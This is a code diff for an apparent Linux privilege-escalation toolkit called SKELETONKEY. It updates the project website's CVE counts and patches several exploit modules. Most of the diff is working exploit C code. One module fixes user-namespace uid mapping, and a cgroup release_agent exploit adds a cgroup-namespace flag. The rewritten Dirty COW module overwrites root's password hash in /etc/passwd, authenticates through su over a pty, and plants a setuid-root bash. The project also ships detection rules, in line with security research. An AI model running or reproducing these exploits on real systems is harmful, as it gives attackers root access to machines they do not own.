v0.9.11 — released 2026-06-08
|
v0.10.0 — released 2026-07-24
|
||||||
</div>
|
</div>
|
||||||
<h1 class="hero-title">
|
<h1 class="hero-title">
|
||||||
<span class="display-wordmark">SKELETONKEY</span>
|
<span class="display-wordmark">SKELETONKEY</span>
|
||||||
</h1>
|
</h1>
|
||||||
<p class="hero-tag">
|
<p class="hero-tag">
|
||||||
One binary. <strong>45 Linux LPE modules</strong> covering 40 CVEs —
|
One binary. <strong>46 Linux LPE modules</strong> covering 41 CVEs —
|
||||||
<strong>every year 2016 → 2026</strong>. 28 of 40 confirmed against
|
<strong>every year 2016 → 2026</strong>. 29 of 41 confirmed against
|
||||||
real Linux kernels in VMs. SOC-ready detection rules in four SIEM
|
real Linux kernels in VMs. SOC-ready detection rules in four SIEM
|
||||||
formats. MITRE ATT&CK + CWE + CISA KEV annotated.
|
formats. MITRE ATT&CK + CWE + CISA KEV annotated.
|
||||||
<span class="hero-tag-pop">--explain gives a one-page operator briefing per CVE.</span>
|
<span class="hero-tag-pop">--explain gives a one-page operator briefing per CVE.</span>
|
||||||
@@ -81,8 +81,8 @@
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="stats-row" id="stats-row">
|
<div class="stats-row" id="stats-row">
|
||||||
<div class="stat-chip"><span class="num" data-target="45">0</span><span>modules</span></div>
|
<div class="stat-chip"><span class="num" data-target="46">0</span><span>modules</span></div>
|
||||||
<div class="stat-chip stat-vfy"><span class="num" data-target="28">0</span><span>✓ VM-verified</span></div>
|
<div class="stat-chip stat-vfy"><span class="num" data-target="29">0</span><span>✓ VM-verified</span></div>
|
||||||
<div class="stat-chip stat-kev"><span class="num" data-target="13">0</span><span>★ in CISA KEV</span></div>
|
<div class="stat-chip stat-kev"><span class="num" data-target="13">0</span><span>★ in CISA KEV</span></div>
|
||||||
<div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div>
|
<div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div>
|
||||||
</div>
|
</div>
|
||||||
@@ -227,7 +227,7 @@ uid=0(root) gid=0(root)</pre>
|
|||||||
<div class="bento-icon">★</div>
|
<div class="bento-icon">★</div>
|
||||||
<h3>CISA KEV prioritized</h3>
|
<h3>CISA KEV prioritized</h3>
|
||||||
<p>
|
<p>
|
||||||
13 of 40 CVEs in the corpus are in CISA's Known Exploited
|
13 of 41 CVEs in the corpus are in CISA's Known Exploited
|
||||||
Vulnerabilities catalog — actively exploited in the wild.
|
Vulnerabilities catalog — actively exploited in the wild.
|
||||||
Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
|
Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
|
||||||
</p>
|
</p>
|
||||||
@@ -289,12 +289,12 @@ uid=0(root) gid=0(root)</pre>
|
|||||||
|
|
||||||
<article class="bento-card bento-vfy">
|
<article class="bento-card bento-vfy">
|
||||||
<div class="bento-icon">✓</div>
|
<div class="bento-icon">✓</div>
|
||||||
<h3>28 modules empirically verified</h3>
|
<h3>29 modules empirically verified</h3>
|
||||||
<p>
|
<p>
|
||||||
<code>tools/verify-vm/</code> spins up known-vulnerable
|
<code>tools/verify-vm/</code> spins up known-vulnerable
|
||||||
kernels (stock distro + mainline from kernel.ubuntu.com), runs
|
kernels (stock distro + mainline from kernel.ubuntu.com), runs
|
||||||
<code>--explain --active</code> per module, and records the
|
<code>--explain --active</code> per module, and records the
|
||||||
verdict. <strong>28 of 40 CVEs</strong> confirmed against
|
verdict. <strong>29 of 41 CVEs</strong> confirmed against
|
||||||
real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
|
real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
|
||||||
+ mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary;
|
+ mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary;
|
||||||
<code>--list</code> shows ✓ per module.
|
<code>--list</code> shows ✓ per module.
|
||||||
@@ -309,7 +309,7 @@ uid=0(root) gid=0(root)</pre>
|
|||||||
<div class="container">
|
<div class="container">
|
||||||
<div class="section-head">
|
<div class="section-head">
|
||||||
<span class="section-tag">corpus</span>
|
<span class="section-tag">corpus</span>
|
||||||
<h2>40 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
|
<h2>41 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<h3 class="corpus-h" data-color="green">
|
<h3 class="corpus-h" data-color="green">
|
||||||
@@ -360,6 +360,7 @@ uid=0(root) gid=0(root)</pre>
|
|||||||
<span class="pill yellow">nft_catchall</span>
|
<span class="pill yellow">nft_catchall</span>
|
||||||
<span class="pill yellow">bad_epoll</span>
|
<span class="pill yellow">bad_epoll</span>
|
||||||
<span class="pill yellow">ghostlock</span>
|
<span class="pill yellow">ghostlock</span>
|
||||||
|
<span class="pill yellow">refluxfs</span>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<p class="corpus-foot">
|
<p class="corpus-foot">
|
||||||
@@ -420,7 +421,7 @@ uid=0(root) gid=0(root)</pre>
|
|||||||
<div class="audience-icon">🎓</div>
|
<div class="audience-icon">🎓</div>
|
||||||
<h3>Researchers / CTF</h3>
|
<h3>Researchers / CTF</h3>
|
||||||
<p>
|
<p>
|
||||||
40 CVEs, 10-year span, each with the original PoC author
|
41 CVEs, 10-year span, each with the original PoC author
|
||||||
credited and the kernel-range citation auditable.
|
credited and the kernel-range citation auditable.
|
||||||
<code>--explain</code> shows the reasoning chain; detection
|
<code>--explain</code> shows the reasoning chain; detection
|
||||||
rules let you practice both sides. Source is the documentation.
|
rules let you practice both sides. Source is the documentation.
|
||||||
@@ -517,7 +518,7 @@ uid=0(root) gid=0(root)</pre>
|
|||||||
<div class="tl-col tl-shipped">
|
<div class="tl-col tl-shipped">
|
||||||
<div class="tl-tag">shipped</div>
|
<div class="tl-tag">shipped</div>
|
||||||
<ul>
|
<ul>
|
||||||
<li><strong>28 of 40 CVEs empirically verified</strong> in real Linux VMs</li>
|
<li><strong>29 of 41 CVEs empirically verified</strong> in real Linux VMs</li>
|
||||||
<li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
|
<li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
|
||||||
<li>Per-module <code>verified_on[]</code> table baked into the binary</li>
|
<li>Per-module <code>verified_on[]</code> table baked into the binary</li>
|
||||||
<li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
|
<li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
|
||||||
|
|||||||
@@ -449,6 +449,12 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
|||||||
pid_t p = fork();
|
pid_t p = fork();
|
||||||
if (p < 0) return -1;
|
if (p < 0) return -1;
|
||||||
if (p == 0) {
|
if (p == 0) {
|
||||||
|
/* Capture the OUTER uid/gid BEFORE unshare: after
|
||||||
|
* unshare(CLONE_NEWUSER) getuid()/getgid() return 65534 (nobody),
|
||||||
|
* so a post-unshare map is "0 65534 1" which the kernel rejects
|
||||||
|
* with EPERM and the userns-root mapping silently fails. */
|
||||||
|
unsigned outer_uid = (unsigned)getuid();
|
||||||
|
unsigned outer_gid = (unsigned)getgid();
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) _exit(2);
|
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) _exit(2);
|
||||||
int fd;
|
int fd;
|
||||||
fd = open("/proc/self/setgroups", O_WRONLY);
|
fd = open("/proc/self/setgroups", O_WRONLY);
|
||||||
@@ -456,13 +462,13 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
|||||||
fd = open("/proc/self/uid_map", O_WRONLY);
|
fd = open("/proc/self/uid_map", O_WRONLY);
|
||||||
if (fd >= 0) {
|
if (fd >= 0) {
|
||||||
char m[64];
|
char m[64];
|
||||||
int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getuid());
|
int n = snprintf(m, sizeof m, "0 %u 1", outer_uid);
|
||||||
(void)!write(fd, m, n); close(fd);
|
(void)!write(fd, m, n); close(fd);
|
||||||
}
|
}
|
||||||
fd = open("/proc/self/gid_map", O_WRONLY);
|
fd = open("/proc/self/gid_map", O_WRONLY);
|
||||||
if (fd >= 0) {
|
if (fd >= 0) {
|
||||||
char m[64];
|
char m[64];
|
||||||
int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getgid());
|
int n = snprintf(m, sizeof m, "0 %u 1", outer_gid);
|
||||||
(void)!write(fd, m, n); close(fd);
|
(void)!write(fd, m, n); close(fd);
|
||||||
}
|
}
|
||||||
int rc = af_packet2_primitive_child(c->ictx);
|
int rc = af_packet2_primitive_child(c->ictx);
|
||||||
|
|||||||
@@ -57,6 +57,12 @@
|
|||||||
#include <sys/stat.h>
|
#include <sys/stat.h>
|
||||||
#include <sys/wait.h>
|
#include <sys/wait.h>
|
||||||
|
|
||||||
|
/* CLONE_NEWCGROUP is not always in the toolchain's <sched.h>. */
|
||||||
|
#ifndef CLONE_NEWCGROUP
|
||||||
|
#define CLONE_NEWCGROUP 0x02000000
|
||||||
|
#endif
|
||||||
|
#define CGRA_CLONE_NEWCGROUP CLONE_NEWCGROUP
|
||||||
|
|
||||||
/* Stable-branch backport thresholds for the fix. */
|
/* Stable-branch backport thresholds for the fix. */
|
||||||
static const struct kernel_patched_from cgroup_ra_patched_branches[] = {
|
static const struct kernel_patched_from cgroup_ra_patched_branches[] = {
|
||||||
{4, 9, 301},
|
{4, 9, 301},
|
||||||
@@ -178,10 +184,24 @@ static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
|
|||||||
pid_t child = fork();
|
pid_t child = fork();
|
||||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||||
if (child == 0) {
|
if (child == 0) {
|
||||||
/* CHILD: enter userns + mountns, become "root" in userns. */
|
/* CHILD: enter userns + mountns, become "root" in userns.
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
*
|
||||||
|
* CRITICAL: capture the OUTER uid/gid BEFORE unshare. After
|
||||||
|
* unshare(CLONE_NEWUSER) getuid() returns 65534 (nobody, the initial
|
||||||
|
* unmapped id), so building the map from a post-unshare getuid() writes
|
||||||
|
* "0 65534 1" — which the kernel rejects with EPERM (65534 is not the
|
||||||
|
* writer's real outer uid). Reading it here, pre-unshare, yields the
|
||||||
|
* real "0 1000 1" the single-uid self-map rule requires. */
|
||||||
uid_t uid = getuid();
|
uid_t uid = getuid();
|
||||||
gid_t gid = getgid();
|
gid_t gid = getgid();
|
||||||
|
/* CLONE_NEWCGROUP matters: without a private cgroup namespace the
|
||||||
|
* unprivileged cgroup-v1 mount below is refused with EPERM on modern
|
||||||
|
* kernels (verified on 5.4). With it, mounting an unused v1 controller
|
||||||
|
* (rdma) in the userns succeeds. */
|
||||||
|
if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CGRA_CLONE_NEWCGROUP) < 0) {
|
||||||
|
/* fall back to the old flags if NEWCGROUP is unsupported */
|
||||||
|
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
||||||
|
}
|
||||||
int f = open("/proc/self/setgroups", O_WRONLY);
|
int f = open("/proc/self/setgroups", O_WRONLY);
|
||||||
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
|
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
|
||||||
char map[64];
|
char map[64];
|
||||||
|
|||||||
@@ -32,13 +32,24 @@
|
|||||||
*
|
*
|
||||||
* Exploit shape: Phil Oester-style two-thread race.
|
* Exploit shape: Phil Oester-style two-thread race.
|
||||||
* - mmap /etc/passwd PRIVATE (writes go to copy-on-write)
|
* - mmap /etc/passwd PRIVATE (writes go to copy-on-write)
|
||||||
* - Find the user's UID field byte offset
|
* - Thread A loop: write(/proc/self/mem, payload, off) — should write to
|
||||||
* - Thread A loop: pwrite(/proc/self/mem, "0000", uid_off) — should
|
* the COW page, but the bug makes it land in the original page cache
|
||||||
* write to the COW page, but the bug makes it land in the original
|
* - Thread B loop: madvise(addr, MADV_DONTNEED) — drops the COW copy,
|
||||||
* - Thread B loop: madvise(addr, MADV_DONTNEED) — drops the COW
|
* forcing re-fault
|
||||||
* copy, forcing re-fault
|
* - One iteration wins → the page cache is poisoned
|
||||||
* - One iteration wins the race → page cache poisoned
|
* - Escalation (same as dirty_pipe): overwrite ROOT's password field with
|
||||||
* - execve(su) → shell with uid=0
|
* a known crypt hash, authenticate as root over a pty with the matching
|
||||||
|
* password, plant a root-owned proof + setuid bash, then revert the page
|
||||||
|
* cache via the Dirty COW primitive itself (no root, no drop_caches).
|
||||||
|
* Root is judged only by the out-of-band artifact.
|
||||||
|
*
|
||||||
|
* NB: the shipped version raced the CALLER's UID to "0000" and ran
|
||||||
|
* `su self` (still needs the caller's password → never rooted anything),
|
||||||
|
* execlp'd su so the dispatcher's exec-transfer path reported a FALSE
|
||||||
|
* EXPLOIT_OK, and reverted with drop_caches (needs root → corrupted the
|
||||||
|
* running /etc/passwd). All three are fixed here; identical bug/fix to
|
||||||
|
* dirty_pipe. Escalation verified end-to-end via dirty_pipe; the COW
|
||||||
|
* primitive itself needs a pre-4.8.3 kernel to land.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
@@ -62,6 +73,9 @@
|
|||||||
#include <pthread.h>
|
#include <pthread.h>
|
||||||
#include <sys/mman.h>
|
#include <sys/mman.h>
|
||||||
#include <sys/stat.h>
|
#include <sys/stat.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <poll.h>
|
||||||
|
|
||||||
/* Stable-branch backport thresholds for Dirty COW. */
|
/* Stable-branch backport thresholds for Dirty COW. */
|
||||||
static const struct kernel_patched_from dirty_cow_patched_branches[] = {
|
static const struct kernel_patched_from dirty_cow_patched_branches[] = {
|
||||||
@@ -83,11 +97,11 @@ static const struct kernel_range dirty_cow_range = {
|
|||||||
sizeof(dirty_cow_patched_branches[0]),
|
sizeof(dirty_cow_patched_branches[0]),
|
||||||
};
|
};
|
||||||
|
|
||||||
/* ---- Find UID field offset (inline; same pattern as dirty_pipe) ---- */
|
/* ---- /etc/passwd password-field helpers (same approach as dirty_pipe:
|
||||||
|
* overwrite ROOT's password field with a known hash, su as root) --- */
|
||||||
|
|
||||||
static bool find_passwd_uid_field(const char *username,
|
/* Byte offset of the password field of `username` (just after "name:"). */
|
||||||
off_t *uid_off, size_t *uid_len,
|
static bool find_pw_field_offset(const char *username, off_t *field_off, size_t *sz)
|
||||||
char uid_str[16])
|
|
||||||
{
|
{
|
||||||
int fd = open("/etc/passwd", O_RDONLY);
|
int fd = open("/etc/passwd", O_RDONLY);
|
||||||
if (fd < 0) return false;
|
if (fd < 0) return false;
|
||||||
@@ -105,29 +119,73 @@ static bool find_passwd_uid_field(const char *username,
|
|||||||
while (p < buf + st.st_size) {
|
while (p < buf + st.st_size) {
|
||||||
char *eol = strchr(p, '\n');
|
char *eol = strchr(p, '\n');
|
||||||
if (!eol) eol = buf + st.st_size;
|
if (!eol) eol = buf + st.st_size;
|
||||||
if (strncmp(p, username, ulen) == 0 && p[ulen] == ':') {
|
if ((p == buf || p[-1] == '\n') &&
|
||||||
char *q = p + ulen + 1;
|
strncmp(p, username, ulen) == 0 && p[ulen] == ':') {
|
||||||
char *pw_end = memchr(q, ':', eol - q);
|
*field_off = (off_t)((p + ulen + 1) - buf);
|
||||||
if (!pw_end) goto next;
|
*sz = (size_t)st.st_size;
|
||||||
char *uid_begin = pw_end + 1;
|
|
||||||
char *uid_end = memchr(uid_begin, ':', eol - uid_begin);
|
|
||||||
if (!uid_end) goto next;
|
|
||||||
size_t L = uid_end - uid_begin;
|
|
||||||
if (L == 0 || L >= 16) goto next;
|
|
||||||
memcpy(uid_str, uid_begin, L);
|
|
||||||
uid_str[L] = 0;
|
|
||||||
*uid_off = (off_t)(uid_begin - buf);
|
|
||||||
*uid_len = L;
|
|
||||||
free(buf);
|
free(buf);
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
next:
|
|
||||||
p = eol + 1;
|
p = eol + 1;
|
||||||
}
|
}
|
||||||
free(buf);
|
free(buf);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#define DC_ROOT_PW "skeletonkey"
|
||||||
|
#define DC_ROOT_HASH "$6$SKpwnSalt1$LNL9WuXFTt8BvutpX4j8/7VpXb3hutSqyZAC.NKfGMx/vg9jGQR/h/cvwgcn55HcaNJipuuiBDsPywanKkx/D1"
|
||||||
|
|
||||||
|
/* Run `cmd` as root via su, feeding DC_ROOT_PW over a pty (su reads the
|
||||||
|
* password from the controlling terminal, not stdin). Success is judged
|
||||||
|
* out-of-band by the caller, never from su's status. */
|
||||||
|
static void dc_su_root_run(const char *cmd)
|
||||||
|
{
|
||||||
|
int mfd = posix_openpt(O_RDWR | O_NOCTTY);
|
||||||
|
if (mfd < 0) return;
|
||||||
|
if (grantpt(mfd) < 0 || unlockpt(mfd) < 0) { close(mfd); return; }
|
||||||
|
const char *sn = ptsname(mfd);
|
||||||
|
if (!sn) { close(mfd); return; }
|
||||||
|
char slave[128];
|
||||||
|
snprintf(slave, sizeof slave, "%s", sn);
|
||||||
|
|
||||||
|
pid_t pid = fork();
|
||||||
|
if (pid < 0) { close(mfd); return; }
|
||||||
|
if (pid == 0) {
|
||||||
|
setsid();
|
||||||
|
int sfd = open(slave, O_RDWR);
|
||||||
|
if (sfd < 0) _exit(127);
|
||||||
|
dup2(sfd, 0); dup2(sfd, 1); dup2(sfd, 2);
|
||||||
|
if (sfd > 2) close(sfd);
|
||||||
|
close(mfd);
|
||||||
|
execlp("su", "su", "root", "-c", cmd, (char *)NULL);
|
||||||
|
_exit(127);
|
||||||
|
}
|
||||||
|
/* Poll for the password prompt, send the password, then drain — with a
|
||||||
|
* hard 20s cap so a misbehaving su can never hang (which would block the
|
||||||
|
* revert and leave /etc/passwd poisoned). Fixed a real hang seen on
|
||||||
|
* xenial where the fixed-delay write raced su's prompt setup. */
|
||||||
|
struct pollfd pfd = { .fd = mfd, .events = POLLIN };
|
||||||
|
const char *pw = DC_ROOT_PW "\n";
|
||||||
|
bool sent = false; char acc[1024]; size_t accl = 0; int waited = 0;
|
||||||
|
while (waited < 20000) {
|
||||||
|
int pr = poll(&pfd, 1, 200);
|
||||||
|
if (pr > 0 && (pfd.revents & POLLIN)) {
|
||||||
|
char b[256]; ssize_t m = read(mfd, b, sizeof b);
|
||||||
|
if (m <= 0) break; /* pty closed → su exited */
|
||||||
|
if (!sent) {
|
||||||
|
if (accl + (size_t)m < sizeof acc) { memcpy(acc + accl, b, m); accl += (size_t)m; acc[accl] = 0; }
|
||||||
|
if (strcasestr(acc, "assword")) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
waited += 200;
|
||||||
|
int st; if (waitpid(pid, &st, WNOHANG) == pid) { pid = -1; break; }
|
||||||
|
if (!sent && waited >= 1000) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (pid > 0) { kill(pid, SIGKILL); waitpid(pid, NULL, 0); }
|
||||||
|
close(mfd);
|
||||||
|
}
|
||||||
|
|
||||||
/* ---- Phil-Oester-style Dirty COW primitive ---- */
|
/* ---- Phil-Oester-style Dirty COW primitive ---- */
|
||||||
|
|
||||||
struct dcow_args {
|
struct dcow_args {
|
||||||
@@ -198,8 +256,10 @@ static int dirty_cow_write(off_t uid_off, const char *payload, size_t payload_le
|
|||||||
/* Re-read /etc/passwd via syscall and check if payload landed. */
|
/* Re-read /etc/passwd via syscall and check if payload landed. */
|
||||||
int rfd = open("/etc/passwd", O_RDONLY);
|
int rfd = open("/etc/passwd", O_RDONLY);
|
||||||
if (rfd >= 0) {
|
if (rfd >= 0) {
|
||||||
char readback[16];
|
char readback[512]; /* must hold the full payload (was [16] —
|
||||||
if (pread(rfd, readback, payload_len, uid_off) == (ssize_t)payload_len) {
|
* overflowed for payloads > 16 bytes). */
|
||||||
|
if (payload_len <= sizeof readback &&
|
||||||
|
pread(rfd, readback, payload_len, uid_off) == (ssize_t)payload_len) {
|
||||||
if (memcmp(readback, payload, payload_len) == 0) success = 0;
|
if (memcmp(readback, payload, payload_len) == 0) success = 0;
|
||||||
}
|
}
|
||||||
close(rfd);
|
close(rfd);
|
||||||
@@ -214,18 +274,19 @@ static int dirty_cow_write(off_t uid_off, const char *payload, size_t payload_le
|
|||||||
return success;
|
return success;
|
||||||
}
|
}
|
||||||
|
|
||||||
static void revert_passwd_page_cache(void)
|
/* Saved original bytes so we (and cleanup) can restore /etc/passwd using
|
||||||
|
* the Dirty COW primitive itself — no root and no drop_caches (the old
|
||||||
|
* revert wrote /proc/sys/vm/drop_caches, which fails unprivileged and left
|
||||||
|
* the running system's /etc/passwd corrupted). */
|
||||||
|
static char dc_orig[512];
|
||||||
|
static off_t dc_orig_off;
|
||||||
|
static size_t dc_orig_len;
|
||||||
|
static bool dc_wrote;
|
||||||
|
|
||||||
|
static void dc_revert(void)
|
||||||
{
|
{
|
||||||
int fd = open("/etc/passwd", O_RDONLY);
|
if (dc_wrote && dc_orig_len)
|
||||||
if (fd >= 0) {
|
dirty_cow_write(dc_orig_off, dc_orig, dc_orig_len);
|
||||||
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
|
|
||||||
close(fd);
|
|
||||||
}
|
|
||||||
int dc = open("/proc/sys/vm/drop_caches", O_WRONLY);
|
|
||||||
if (dc >= 0) {
|
|
||||||
if (write(dc, "3\n", 2) < 0) { /* ignore */ }
|
|
||||||
close(dc);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- skeletonkey interface ---- */
|
/* ---- skeletonkey interface ---- */
|
||||||
@@ -275,58 +336,93 @@ static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
|
|||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
struct passwd *pw = getpwuid(geteuid());
|
/* Overwrite ROOT's password field with a known crypt hash, then
|
||||||
if (!pw) {
|
* authenticate as root with the matching password. (The previous code
|
||||||
fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno));
|
* raced the CALLER's UID to "0000" and ran `su self`, which still
|
||||||
|
* demands the caller's password — it never rooted anything, falsely
|
||||||
|
* reported OK when su's exec transferred, and reverted with drop_caches
|
||||||
|
* which needs root, corrupting the running /etc/passwd.) */
|
||||||
|
off_t field_off;
|
||||||
|
size_t pw_sz;
|
||||||
|
if (!find_pw_field_offset("root", &field_off, &pw_sz)) {
|
||||||
|
fprintf(stderr, "[-] dirty_cow: could not locate root's password field\n");
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
off_t uid_off;
|
const char *newline = DC_ROOT_HASH ":0:0:root:/root:/bin/bash\n";
|
||||||
size_t uid_len;
|
size_t newlen = strlen(newline);
|
||||||
char orig_uid[16] = {0};
|
if (newlen > sizeof dc_orig || field_off + (off_t)newlen > (off_t)pw_sz) {
|
||||||
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
|
fprintf(stderr, "[-] dirty_cow: /etc/passwd too small to hold the payload "
|
||||||
fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n",
|
"without extending it\n");
|
||||||
pw->pw_name);
|
|
||||||
return SKELETONKEY_TEST_ERROR;
|
|
||||||
}
|
|
||||||
if (!ctx->json) {
|
|
||||||
fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n",
|
|
||||||
pw->pw_name, orig_uid, (long long)uid_off, uid_len);
|
|
||||||
}
|
|
||||||
|
|
||||||
char replacement[16];
|
|
||||||
memset(replacement, '0', uid_len);
|
|
||||||
replacement[uid_len] = 0;
|
|
||||||
|
|
||||||
if (!ctx->json) {
|
|
||||||
fprintf(stderr, "[*] dirty_cow: racing UID '%s' → '%s' via Dirty COW primitive\n",
|
|
||||||
orig_uid, replacement);
|
|
||||||
}
|
|
||||||
if (dirty_cow_write(uid_off, replacement, uid_len) < 0) {
|
|
||||||
fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n");
|
|
||||||
return SKELETONKEY_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ctx->no_shell) {
|
int fd = open("/etc/passwd", O_RDONLY);
|
||||||
fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n");
|
if (fd < 0) { perror("open passwd"); return SKELETONKEY_TEST_ERROR; }
|
||||||
|
if (pread(fd, dc_orig, newlen, field_off) != (ssize_t)newlen) {
|
||||||
|
close(fd); fprintf(stderr, "[-] dirty_cow: pread backup failed\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
close(fd);
|
||||||
|
dc_orig_off = field_off; dc_orig_len = newlen;
|
||||||
|
|
||||||
|
long tag = (long)getpid();
|
||||||
|
char proof[128], rootbash[128], cmd[1024];
|
||||||
|
snprintf(proof, sizeof proof, "/tmp/.sk-dirtycow-%ld.proof", tag);
|
||||||
|
snprintf(rootbash, sizeof rootbash, "/tmp/.sk-dirtycow-%ld.rootbash", tag);
|
||||||
|
unlink(proof); unlink(rootbash);
|
||||||
|
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] dirty_cow: racing root's password field at offset %lld "
|
||||||
|
"(len %zu) via Dirty COW primitive\n", (long long)field_off, newlen);
|
||||||
|
if (dirty_cow_write(field_off, newline, newlen) < 0) {
|
||||||
|
fprintf(stderr, "[-] dirty_cow: race did not win within timeout "
|
||||||
|
"(kernel likely patched)\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
dc_wrote = true;
|
||||||
|
|
||||||
|
snprintf(cmd, sizeof cmd,
|
||||||
|
"id > %s 2>&1; cp -f /bin/bash %s 2>/dev/null; "
|
||||||
|
"chown 0:0 %s %s 2>/dev/null; chmod 4755 %s 2>/dev/null; sync",
|
||||||
|
proof, rootbash, rootbash, proof, rootbash);
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] dirty_cow: authenticating as root (su + known password)\n");
|
||||||
|
dc_su_root_run(cmd);
|
||||||
|
|
||||||
|
/* Revert immediately — never leave a running system with a known root
|
||||||
|
* password. Dirty COW never wrote disk, so this fully restores. */
|
||||||
|
dc_revert();
|
||||||
|
{ int ev = open("/etc/passwd", O_RDONLY);
|
||||||
|
if (ev >= 0) { posix_fadvise(ev, 0, 0, POSIX_FADV_DONTNEED); close(ev); } }
|
||||||
|
|
||||||
|
struct stat sb;
|
||||||
|
bool rooted = (stat(proof, &sb) == 0 && S_ISREG(sb.st_mode) && sb.st_uid == 0);
|
||||||
|
if (rooted) {
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[+] dirty_cow: ROOT — root-owned proof %s\n", proof);
|
||||||
|
fprintf(stderr, "[+] dirty_cow: setuid-root shell available: %s -p\n", rootbash);
|
||||||
|
fprintf(stderr, "[i] dirty_cow: /etc/passwd reverted (nothing persisted)\n");
|
||||||
|
}
|
||||||
return SKELETONKEY_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n");
|
if (!ctx->json)
|
||||||
fflush(NULL);
|
fprintf(stderr, "[-] dirty_cow: no root artifact — honest EXPLOIT_FAIL "
|
||||||
execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
|
"(page cache reverted). Primitive may be blocked, or su/PAM "
|
||||||
perror("execlp(su)");
|
"rejected the injected hash.\n");
|
||||||
revert_passwd_page_cache();
|
|
||||||
return SKELETONKEY_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
(void)ctx;
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n");
|
fprintf(stderr, "[*] dirty_cow: reverting /etc/passwd + removing artifacts\n");
|
||||||
|
}
|
||||||
|
dc_revert(); /* idempotent; no root / no drop_caches */
|
||||||
|
if (system("rm -f /tmp/.sk-dirtycow-*.proof /tmp/.sk-dirtycow-*.rootbash 2>/dev/null") != 0) {
|
||||||
|
/* harmless */
|
||||||
}
|
}
|
||||||
revert_passwd_page_cache();
|
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -433,7 +529,7 @@ const struct skeletonkey_module dirty_cow_module = {
|
|||||||
.detect_sigma = dirty_cow_sigma,
|
